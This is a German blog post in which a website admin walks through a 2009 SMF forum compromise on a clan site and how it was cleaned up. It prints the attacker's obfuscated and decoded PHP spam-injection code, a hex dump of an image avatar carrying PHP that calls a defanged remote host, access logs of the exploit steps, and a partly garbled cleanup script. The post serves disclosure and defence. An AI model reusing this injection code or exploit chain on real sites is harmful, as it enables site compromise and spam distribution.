www.internationaloldstars.de nicht erreichbar?
www.internationaloldstars.de nicht erreichbar?

2009-05-24 08:16 von Kelli (0 Kommentare)

Die Seite Internationaloldstars.de war die letzten 24 Stunden nicht erreichbar.

Obwohl der Webserver und php sehr restriktiv eingerichtet ist, alles doppelt gecheckt hat es uns erwischt.
Die Gute Nachricht ist, das der Angreifer offensichtlich nichts zerstören wollte, sondern "nur" Geld verdienen.
Eigentlich hat er sich sogar alle Mühe gegeben das sein Einbruch nicht auffällt, und die Seite weiterhin unverdächtig aussieht.
Nur durch zwei kleine Details ist aufgefallen das etwas nicht mehr stimmt. www.internationaloldstars.de ist W3C Xhtml Strict, sein
injiziertes html nicht. So stimmte das Layout nicht mehr zu 100% und das Ajax Script der Shoutbox hat einen Fehler gewurfen.
Außerdem waren die Zeitstempel sämtlicher geänderten Dateien - also aller Dateien in htdocs neu.

Whats wrong?

Clanmember haben zuerst gemerkt das die Schreibox nicht mehr tut. Bei der Fehlersuche war der erste Schritt ein Blick auf den generierten Quelltext.

Minimum [...] register and horeca systems we offer comprehensive solutions for restaurants w [...] cash.

Ein unsichtbares div am Anfang des bodys, darin eine unmenge von Links zu V!agra, Spielcasinos und anderen dubiosen Seiten.
Das ist der Moment wo der Schweiß ausbricht, einem Unmengen von Zweifeln kommen und es Zeit ist ein Becks zu öffnen.
WTF?! Von wann ist das letzte Backup? Bin ich ein Zombie? Liegt jetzt P0rn auf der Maschine? Grrrr! Alle an die Wand und erschiessen!
Das Becks ist halb leer, jetzt arbyten die Zellen etwas besser.

Schritt 1) Schadensbegrenzung.

Webserver runterfahren, SQL-Datenbank runterfahren, alles sichern.

Schritt 2) Bestandsaufnahme.

Wie tragisch ist es? Bei jeder Komprimitierung im Zweifelsfall "flatten und rebuild" Aber ich habe Zeit, und außerdem gilt es das Schlupfloch zu finden um es zu schließen.
Also:

- - Syslog, Authlog
- - Webserverlog
- - SQL-Log
- - E-Mail Logfile
- - Iptables
- - laufende Prozesse und alle Verzeichnise auf Verdächtiges prüfen.

Es scheint erstmal nicht grob fahrlässig die Maschine weiterhin ohne Webservice am Netz zu lassen.
Offensichtlich sind nur Webseiten (*.php) innerhalb des www.internationaloldstars.de Verzeichnises betroffen.
Genau deswegen muss der Webserver und php mit einem unpriviligiertem Benutzer ohne Rechte laufen.
Der Angreifer kam einfach nicht aus seinem Verzeichnis raus.
Puhhh Das Backup ist da, der maximale Arbeitsaufwand schrumpft auf ~20 Minuten für das Backup einspielen.
Nun nützt es aber nichts das Backup einzuspielen wenn das Loch unbekannt ist.

Schritt 3) Folge dem weißen Kaninchen.

Das div-Tag muss irgendwo her kommen.
Schon bei Schritt 2 fällt auf das alle Verzeichnisse und Dateien im Webroot-Verzeichnis den selben Zeitstempel tragen.
15. Mai 2009, 10:20Uhr
also die index.php geöffnet und kaum übersehbar in der ersten Zeile obfuscated code.
FNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9pb
3Mvd3
d3LmludGVybmF0aW9uYWxvbGRzdGFycy5kZS9tYW1ib3RzL2VkaXRvcnMvdGlueW1jZS9qc2Nya
XB0cy
90aW55X21jZS90aGVtZXMvYWR2YW5jZWQvZG9jcy91ay9pbWFnZXMvc3R5bGUuY3NzLnBocCc
pKXtp
bmNsdWRlX29uY2UoJy9ob21lL2lvcy93d3cuaW50ZXJuYXRpb25hbG9sZHN0YXJzLmRlL21hbWJvd
HMvZ
WRpdG9ycy90aW55bWNlL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL3VrL
2ltYWd
lcy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2
V4a
XN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb
24gZ3
pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KX
skZT11
bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyR
oPXN0
cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSs
xO31p
ZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0U
peyR1PS

RkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuICRjO31lbHNle3JldHVybiAkYzt9fWV
ybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Nicht sonderlich schwierig, z.B. mit http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/ online zu "entschlüsseln"

```
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;

if(file_exists('/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/style.css.php')){


 include_once('/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/style.css.php');

if(function_exists('gml')&&!function_exists('dgobh'))

    {if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));

$h=10;

$e=0;

if($f&4){$e=unpack('v',substr($d,10,2));

$e=$e[1];

$h+=2+$e;

}if($f&8){$h=strpos($d,chr(0),$h)+1;

}if($f&16){$h=strpos($d,chr(0),$h)+1;

}if($f&2){$h+=2;

}$u=gzinflate(substr($d,$h));

if($u===FALSE){$u=$d;

}return $u;

}}function dgobh($b){Header('Content-Encoding: none');

$c=gzdecode($b);
```

```
if(preg_match('/\]*\>)/si','$1'.gml(),$c);

}else{return gml().$c;

}}ob_start('dgobh');

}}}
```

lädt die Datei style.css.php in dem angegebenen Pfad nach.
Diese style.css.php ist in ähnlicher weise obfuscated, ist aber auch nicht unlösbar schließlich muss php sie ja ausführen können.
Den Inhalt spare ich mir hier - es ist ein bekanntes php-shell Backdoor das noch andere Dateien von einem Server nachlädt der inzwischen offline ist.
Es passiert also folgendes
Die "evil" Zeile lädt den Kram in der
/mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/
dort gibt es eine Config, das Script das die Befehle vom Master entgegennimmt, Der exploit der den Dateien einbindet derer es habhaft werden kann und Unmengen von html Dateien mit dem Spaminhalt (~200MB)
Wird die Webseite des Opfers aufgerufen wird nach dem Zufallsprinzip einige der spam-Links unsichtbar eingeblendet.

Der Zweck ist mir immernoch schleierhaft. Nur eine Machtdemonstration für potentielle Kunden? Nur Backlinks für Suchmaschinen?
Da der Spam für den normalen Benutzer unsichtbar ist, und Suchmaschinen inzwischen ein div mit display:none und jeder Menge Casino und V!agra Stichwort Links auch nicht unbedingt mit Pagerank belohnen währe ein Iframe mit einem Windowsexploit z.b. bestimmt viel besser zu Geld zu machen.
Aber uns solls recht sein, noch mal mit einem dunkelblauen Auge davongekommen.

Jetzt weiß ich was passiert, wo es passiert und warum es passiert. Aber noch nicht wie der pöse Code überhaupt auf den Server gekommen ist.
FTP gibt es hier nicht. SSH Log ist unverdächtig. Es sind nur webroot Dateien betroffen. Es muss eine Lücke in einem php Script sein.
Anhand des Zeitstempels der Dateien ist es einfach die Indianer Log Dateien zu durchforsten:

```
Error Log:
[Fri May 15 10:52:38 2009] [crit] [client localhost] (13)Permission denied: htaccess
pcfg_openfile: unable to check htaccess file, ensure it is readable
[Fri May 15 10:56:13 2009] [crit] [client localhost] (13)Permission denied: htaccess
pcfg_openfile: unable to check htaccess file, ensure it is readable
[Fri May 15 10:59:11 2009] [error] [client localhost] PHP Warning:  gzinflate() [
function.gzinflate]: data error in functions_stats.php(1) : eval()\'d code on line 1
[Fri May 15 11:01:32 2009] [error] [client localhost] PHP Warning:  strpos() [
function.strpos]: Offset not contained in string in backclasses.php(1) : eval()\'d
code on line 1
[Fri May 15 11:01:32 2009] [error] [client localhost] PHP Warning:  gzinflate() [
function.gzinflate]: data error in frontclasses.php(1) : eval()\'d code on line 1
[Fri May 15 11:01:38 2009] [crit] [client localhost] (13)Permission denied:
/home/ios/www.internationaloldstars.de/playerstats/.htaccess pcfg_openfile: unable to
check htaccess file, ensure it is readable
[...]
```

Jede Menge Permission denied. Weil der Php Benutzer unter dem das Script läuft bei den meisten

Dateien kein Schreibrecht hat. Bei den meisten. Warum nicht bei allen?
Tja... eindeutig mein Fehler. Wie das so ist, es gibt ein Update, man spielt es ein und ist dann zu faul oder vergisst einfach die Rechte wieder anzupassen.
Menschliches Versagen. Mit den richtigen Berechtigungen währe überhaupt garnix passiert.

access_log

```
localhost - - [15/May/2009:10:19:44 +0200] "POST /board/index.php?action=register2
HTTP/1.1" 200 3129 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack
2)"
localhost - - [15/May/2009:10:20:28 +0200] "GET
/board/index.php?action=activate;u=255;code=ab3bc803f6 HTTP/1.1" 200 3412 "-"
"Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:29 +0200] "GET /board/index.php?action=login
HTTP/1.1" 200 3329 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack
2)"
localhost - - [15/May/2009:10:20:30 +0200] "POST /board/index.php?action=login2
HTTP/1.1" 302 26 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:30 +0200] "GET
/board/index.php?action=login2;sa=check;member=255 HTTP/1.1" 302 26 "-" "Mozilla/4.0
(compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:30 +0200] "POST
/board/index.php?action=login2;sa=check;member=255 HTTP/1.1" 302 26 "-" "Mozilla/4.0
(compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:31 +0200] "GET /board/index.php?action=login
HTTP/1.1" 200 14152 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack
2)"
localhost - - [15/May/2009:10:20:31 +0200] "POST /board/index.php?action=login2
HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:31 +0200] "GET
/board/index.php?action=login2;sa=check;member=255 HTTP/1.1" 200 11822 "-"
"Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:31 +0200] "GET /board/index.php?action=profile
HTTP/1.1" 200 16253 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack
2)"
localhost - - [15/May/2009:10:20:32 +0200] "POST /board/index.php?action=profile2
HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:32 +0200] "POST /board/index.php?action=profile2
HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows XP Service Pack 2)"
localhost - - [15/May/2009:10:20:32 +0200] "GET
/board/index.php?action=theme;sa=pick;u=255 HTTP/1.1" 200 460590 "-" "Mozilla/4.0
(compatible; MSIE 5.00; Windows XP Service Pack 2)"
[...]
```

Und hier haben wir den Einstieg gefunden. Benutzer 255 (den Nicknamen nenne ich nicht, für sowas gibt es hier keinen Ruhm zu ernten) registriert sich im Board, aktiviert den Account, lädt einen Avatar hoch und ändert eine Einstellung in seinem Forums Profil.
Das alles unter 60 Sekunden. Das Loch muss im Board sein, bei den Avatars. Es sind nur Bilder erlaubt. Dachte ich. Tja. Dies ist der Inhalt des Avatars:

```
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

00000000  FF D8 FF E1 00 BC 45 78 69 66 00 00 49 49 2A 00  ÿØÿá.¼Exif..II*.
00000010  08 00 00 00 05 00 12 01 03 00 01 00 00 00 01 00  ................
00000020  00 00 31 01 02 00 1C 00 00 00 4A 00 00 00 32 01  ..1.......J...2.
00000030  02 00 14 00 00 00 66 00 00 00 13 02 03 00 01 00  ......f.........
```

```
00000040  00 00 01 00 00 00 69 87 04 00 01 00 00 00 7A 00  ......i‡......z.
00000050  00 00 00 00 00 00 41 43 44 20 53 79 73 74 65 6D  ......ACD System
00000060  73 20 44 69 67 69 74 61 6C 20 49 6D 61 67 69 6E  s Digital Imagin
00000070  67 00 32 30 30 38 3A 31 31 3A 32 32 20 30 33 3A  g.2008:11:22 03:
00000080  30 38 3A 31 36 00 04 00 00 90 07 00 04 00 00 00  08:16...........
00000090  30 32 32 30 90 92 02 00 04 00 00 00 35 31 35 00  0220.’......515.
000000A0  02 A0 04 00 01 00 00 00 01 00 00 00 03 A0 04 00  . ........... ..
000000B0  01 00 00 00 01 00 00 00 00 00 00 00 00 00 1C 00  ................
000000C0  FF FE 04 27 3C 3F 70 68 70 3B 24 75 72 6C 20 3D  ÿþ.\'
000000D0  20 27 68 78 78 70 3A 2F 2F 78 78 78 78 78 78 78   \'hxxp://xxxxxxx
000000E0  78 2E 6E 65 74 2F 3F 75 70 64 61 74 65 3D 6D 61  x.net/?update=ma
000000F0  69 6E 27 3B 24 64 6F 6E 65 20 3D 20 66 61 6C 73  in\'; = fals
00000100  65 3B 69 66 28 21 24 75 72 6C 29 7B 72 65 74 75  e;if(!){retu
00000110  72 6E 20 27 27 3B 7D 24 75 72 6C 5F 69 6E 66 6F  rn \'\';}
```

[SCHNIPP]
Oben ein Bild unten php Code. Die url habe ich geändert, auch wenn der Server inzwischen abgeschaltet wurde.
Nun hat unser Freund sein code auf dem Server, er muss nur noch ausgeführt werden. Hier hilft ihm eine weitere Lücke im SMF

```
localhost - - [15/May/2009:10:20:32 +0200] "GET
/board/index.php?action=theme;sa=pick;u=255 HTTP/1.1" 200 460590 "-" "Mozilla/4.0
(compatible; MSIE 5.00; Windows XP Service Pack 2)"
```

er ändert den Pfad seines Forum-Designs auf diese Datei um. Nun wird die Datei von php ausgeführt wenn er sich im Forum einloggt. Die php Shell wird vom Master runtergeladen, den Rest kenn ich.
Das Forum war auf dem aktuellen Patch-Stand. Php auf dem aktuellen Patch Stand. url_fopen deaktiviert. php Benutzer nobody.
Alles wirkungslos an genau dieser Stelle mit einem 0-Day Exploit von dem ich nichts wusste und für den es noch keinen Patch gab.
Gotcha!
Das wirklich ärgerliche daran ist, nachdem ich soweit war dies alles nachzuvollziehen wollte ich es im SMF-Board posten um andere zu warnen und nach einem Patch zu frägen. Dort gab es bereits seit dem 1. Mai einen Thread dazu.
http://www.simplemachines.org/community/index.php?topic=307717.0 und die User dort sind zu demselben Ergebnissen gekommen wie ich.
Ich habe den Newsletter aktiviert. Ich bin Member im SMF-Board. Aber wenn alles läuft und keine Warnung in den Einschlägigen Seiten wie fulldisclosure.org, securityfocus.com, Bugtraq erscheint klicke ich nicht jeden Tag sämtliche Boards aller SW-Lösungen die ich im Einsatz habe durch.
Warum wurde nicht schon am 1.Mai ein Newsletter von SMF versand das die Avatarfunktion vorläufig deaktiviert werden sollte bis ein Patch erscheint?
Schande über euch!
Mittlerweile findet Google mit den richtigen Suchbegriffen Dutzende smf Seiten die bereits infiziert sind.
Am Mai 20, 2009, 08:22:19 hat SMF einen Patch für alle SMF Versionen releast. Und selbst dort ist die Dringlichkeit nicht deutlich genug gekennzeichnet.

Wenn du ein SMF Board hast. Update! Jetzt! Sofort!

Schritt 4) Aufräumen.

Da ich nun weiß was passiert und was nicht scheint es relativ sicher, einfach nur den Schadcode zu entfernen um wieder einen definierten Zustand herzustellen.

- - Den fraglichen Benutzer in der Datenbank löschen. (xxx_members)
- - Den Eintrag für das Design in der Datenbank löschen. (xxx_themes)
- - Den "Avatar" löschen.
- - Die exploit Files unter /mambots/editors/tinymce/jscripts/tiny_mce/themes/advanced/docs/uk/images/

(Der Pfad kann varieren - der Exploit versteckt sich im längsten! Pfad den er auf dem Webserver finden kann.)

- - Alle Änderungen in den php Dateien rückgängig machen.
  Dabei hilft das jeweils nur die erste Zeile eingefügt wurde und diese immer gleich aussieht:

```
#!/bin/sh

PATTERN="\?php \/\*\*\/eval.base64_decode"
FOUND=0
for datei in `find . -name "*.php"`; do
  echo "Checking file "
  cat  | grep -i "" > /dev/null
  if [ $? -eq  ]
  then
    echo "Pattern found, replacing..."
    cat  | sed \'/\?php \/\*\*\/eval.base64_decode/d\' > .save
    cp -f .save
    rm -rf .save
  fi
done
exit 0
```

- - Die Passwörter geschützter Verzeichnisse, MySQL Datenbank, Administrator etc.. **ÄNDERN!**
- - Den SMF Patch installieren.
- - Die Dateiberechtigungen dieses mal richtig setzen.
- - ????
- - PROFIT!

Die nächsten Tage die Logfiles ganz genau beobachten. Sollte irgendetwas verdächtig sein - dann doch lieber das System neu aufsetzen.
Die benutzte php Shell hat viele Möglichkeiten. Der Angreifer hatte Zugriff auf die DB Passwörter und kann sich ein Backup angefertigt haben.
Sind dort schwache Passwörter für Benutzer hinterlegt ...
Es können Dateien außer den bereits gefundenen verändert, hinzugefügt worden sein.

An alle I.O.S- Member. Es ist unwahrscheinlich - aber wer sicher gehen will ändert sein Passwort.
Insbesondere wenn er auf anderen Seiten / überall das selbe Passwort benutzt.
(Die Bankpin als I.O.S-Passwort anyone? Lasst das!)

Wer ein Loch in unserer Seite findet. Lasst es. Schreibt eine E-Mail an uns und beschreibt die Lücke. Euch ist Ruhm und Anerkennung gewiss.
Die Seite zu ändern bringt nur für 5 Minuten Befriedigung bis es entdeckt und beseitigt wird.
Wer einen Fehler meldet, dessen Namen wird für alle Zeit auf der Seite mit Kredits bedacht.

UPDATE
Noch ein wenig rumgestöbert, und gesehen das der code noch ein wenig mehr Spaß macht außer ein unsichtbares Div einzublenden. Alle Links in dem div mit display:none führen zu anderen bereits infizierten SMF Boards, mit einer speziellen url.
http://example.com/forum/index.php/**?vrd=25** folgt man dieser url bekommt man ganzseitig die richtige Werbung als Flash eingeblendet, ohne den Parameter verhält sich das Opfer ganz normal....

Zurück